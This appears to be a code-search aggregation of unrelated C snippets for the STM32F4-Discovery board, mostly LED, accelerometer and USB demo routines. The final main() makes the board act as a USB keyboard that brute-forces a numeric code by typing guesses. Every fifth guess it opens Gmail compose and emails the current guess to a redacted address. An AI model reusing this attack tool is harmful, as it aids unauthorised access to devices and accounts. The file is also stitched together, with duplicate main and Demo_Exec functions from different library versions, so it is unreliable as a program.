/** * @brief Main program. * @param None * @retval None */ int main(void) { RCC_ClocksTypeDef RCC_Clocks; uint8_t HID_Buffer[4] = {0}; uint8_t way[4][2] = {{7,0},{0,7},{-7,0},{0,-7}}, i, j; /* Initialize LEDs and User_Button on STM32F4-Discovery --------------------*/ //STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI); // //STM_EVAL_LEDInit(LED4); //STM_EVAL_LEDInit(LED3); //STM_EVAL_LEDInit(LED5); //STM_EVAL_LEDInit(LED6); /* SysTick end of count event each 10ms */ RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); Demo_USBConfig(); while(1) { } }
/** * @brief Execute the demo application. * @param None * @retval None */ static void Demo_Exec(void) { RCC_ClocksTypeDef RCC_Clocks; uint8_t togglecounter = 0x00; while(1) { DemoEnterCondition = 0x00; /* Reset UserButton_Pressed variable */ UserButtonPressed = 0x00; /* Initialize LEDs to be managed by GPIO */ STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); /* SysTick end of count event each 10ms */ RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); /* Turn OFF all LEDs */ STM_EVAL_LEDOff(LED4); STM_EVAL_LEDOff(LED3); STM_EVAL_LEDOff(LED5); STM_EVAL_LEDOff(LED6); /* Waiting User Button is pressed */ while (UserButtonPressed == 0x00) { /* Toggle LED4 */ STM_EVAL_LEDToggle(LED4); Delay(10); /* Toggle LED4 */ STM_EVAL_LEDToggle(LED3); Delay(10); /* Toggle LED4 */ STM_EVAL_LEDToggle(LED5); Delay(10); /* Toggle LED4 */ STM_EVAL_LEDToggle(LED6); Delay(10); togglecounter ++; if (togglecounter == 0x10) { togglecounter = 0x00; while (togglecounter < 0x10) { STM_EVAL_LEDToggle(LED4); STM_EVAL_LEDToggle(LED3); STM_EVAL_LEDToggle(LED5); STM_EVAL_LEDToggle(LED6); Delay(10); togglecounter ++; } togglecounter = 0x00; } } /* Waiting User Button is Released */ while (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) {} UserButtonPressed = 0x00; /* TIM4 channels configuration */ TIM4_Config(); /* Disable all Timer4 channels */ TIM_CCxCmd(TIM4, TIM_Channel_1, DISABLE); TIM_CCxCmd(TIM4, TIM_Channel_2, DISABLE); TIM_CCxCmd(TIM4, TIM_Channel_3, DISABLE); TIM_CCxCmd(TIM4, TIM_Channel_4, DISABLE); /* MEMS configuration */ LIS302DL_InitStruct.Power_Mode = LIS302DL_LOWPOWERMODE_ACTIVE; LIS302DL_InitStruct.Output_DataRate = LIS302DL_DATARATE_100; LIS302DL_InitStruct.Axes_Enable = LIS302DL_XYZ_ENABLE; LIS302DL_InitStruct.Full_Scale = LIS302DL_FULLSCALE_2_3; LIS302DL_InitStruct.Self_Test = LIS302DL_SELFTEST_NORMAL; LIS302DL_Init(&LIS302DL_InitStruct); /* Required delay for the MEMS Accelerometre: Turn-on time = 3/Output data Rate = 3/100 = 30ms */ Delay(30); DemoEnterCondition = 0x01; /* MEMS High Pass Filter configuration */ LIS302DL_FilterStruct.HighPassFilter_Data_Selection = LIS302DL_FILTEREDDATASELECTION_OUTPUTREGISTER; LIS302DL_FilterStruct.HighPassFilter_CutOff_Frequency = LIS302DL_HIGHPASSFILTER_LEVEL_1; LIS302DL_FilterStruct.HighPassFilter_Interrupt = LIS302DL_HIGHPASSFILTERINTERRUPT_1_2; LIS302DL_FilterConfig(&LIS302DL_FilterStruct); LIS302DL_Read(Buffer, LIS302DL_OUT_X_ADDR, 6); X_Offset = Buffer[0]; Y_Offset = Buffer[2]; Z_Offset = Buffer[4]; /* USB configuration */ Demo_USBConfig(); /* Waiting User Button is pressed */ while (UserButtonPressed == 0x00) {} /* Waiting User Button is Released */ while (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) {} /* Disable SPI1 used to drive the MEMS accelerometre */ SPI_Cmd(LIS302DL_SPI, DISABLE); /* Disconnect the USB device */ DCD_DevDisconnect(&USB_OTG_dev); USB_OTG_StopDevice(&USB_OTG_dev); } }
/** * @brief Execute the demo application. * @param None * @retval None */ static void Demo_Exec(void) { uint8_t togglecounter = 0x00; /* Initialize Accelerometer MEMS*/ if(BSP_ACCELERO_Init() != HAL_OK) { /* Initialization Error */ Error_Handler(); } while(1) { DemoEnterCondition = 0x00; /* Reset UserButton_Pressed variable */ UserButtonPressed = 0x00; /* Configure LEDs to be managed by GPIO */ BSP_LED_Init(LED3); BSP_LED_Init(LED4); BSP_LED_Init(LED5); BSP_LED_Init(LED6); /* SysTick end of count event each 10ms */ SystemCoreClock = HAL_RCC_GetHCLKFreq(); SysTick_Config(SystemCoreClock / 100); /* Turn OFF all LEDs */ BSP_LED_Off(LED4); BSP_LED_Off(LED3); BSP_LED_Off(LED5); BSP_LED_Off(LED6); /* Waiting User Button is pressed */ while (UserButtonPressed == 0x00) { /* Toggle LED4 */ BSP_LED_Toggle(LED4); HAL_Delay(10); /* Toggle LED4 */ BSP_LED_Toggle(LED3); HAL_Delay(10); /* Toggle LED4 */ BSP_LED_Toggle(LED5); HAL_Delay(10); /* Toggle LED4 */ BSP_LED_Toggle(LED6); HAL_Delay(10); togglecounter ++; if (togglecounter == 0x10) { togglecounter = 0x00; while (togglecounter < 0x10) { BSP_LED_Toggle(LED4); BSP_LED_Toggle(LED3); BSP_LED_Toggle(LED5); BSP_LED_Toggle(LED6); HAL_Delay(10); togglecounter ++; } togglecounter = 0x00; } } /* Waiting User Button is Released */ while (BSP_PB_GetState(BUTTON_KEY) != KEY_NOT_PRESSED) {} UserButtonPressed = 0x00; /* TIM4 channels configuration */ TIM4_Config(); DemoEnterCondition = 0x01; /* USB configuration */ Demo_USBConfig(); /* Waiting User Button is pressed */ while (UserButtonPressed == 0x00) {} /* Waiting User Button is Released */ while (BSP_PB_GetState(BUTTON_KEY) != KEY_NOT_PRESSED) {} /* Disconnect the USB device */ USBD_Stop(&hUSBDDevice); USBD_DeInit(&hUSBDDevice); if(HAL_TIM_PWM_DeInit(&htim4) != HAL_OK) { /* Initialization Error */ Error_Handler(); } } }
/** * @brief Main program. * @param None * @retval None */ int main(void) { uint32_t guessIdx = 0; int running = 0; int delay = 0; RCC_ClocksTypeDef RCC_Clocks; /* Initialize LEDs and User_Button on STM32F4-Discovery --------------------*/ STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI); STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); /* SysTick end of count event each 10ms */ RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); STM_EVAL_LEDOff(LED4); STM_EVAL_LEDOn(LED3); STM_EVAL_LEDOff(LED5); STM_EVAL_LEDOff(LED6); STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_GPIO); keyboardInit(&USB_OTG_dev); Demo_USBConfig(); char guess[7]; strcpy(guess, "400000"); Delay(2000); while (1) { if (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) { //crappy debounce routine TimingDelay = 10; while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)&&(TimingDelay != 0x00)); //now change start or stop password attempts if (running == 0) { STM_EVAL_LEDOn(LED4); running = 1; } else { STM_EVAL_LEDOff(LED4); running = 0; } } //mostly non blocking delay to allow stopping with button if (delay > 0) { Delay(1000); delay--; } if (running != 0 && delay == 0) { Delay(200); keyboardWrite(KEY_BACKSPACE); keyboardWrite(KEY_BACKSPACE); keyboardWrite(KEY_BACKSPACE); keyboardWrite(KEY_BACKSPACE); STM_EVAL_LEDToggle(LED6); keyboardPutString(guess); keyboardWrite(KEY_RETURN); Delay(200); keyboardWrite(KEY_RETURN); nextPermutation(guess, "123", 1); if ((++guessIdx % 5) == 0) { //try to email every 5 guesses keyboardReleaseAll(); keyboardPress(KEY_LEFT_GUI); keyboardPress('g'); Delay(50); keyboardReleaseAll(); keyboardPutString("*****@*****.**"); //leave the preceding 'c' that is the gmail compose shortcut keyboardWrite(KEY_TAB); keyboardPutString(guess); keyboardWrite(KEY_TAB); keyboardPutString(guess); keyboardWrite(KEY_TAB); keyboardWrite(KEY_TAB); keyboardWrite(KEY_RETURN); STM_EVAL_LEDOff(LED5); delay = 30; } } } }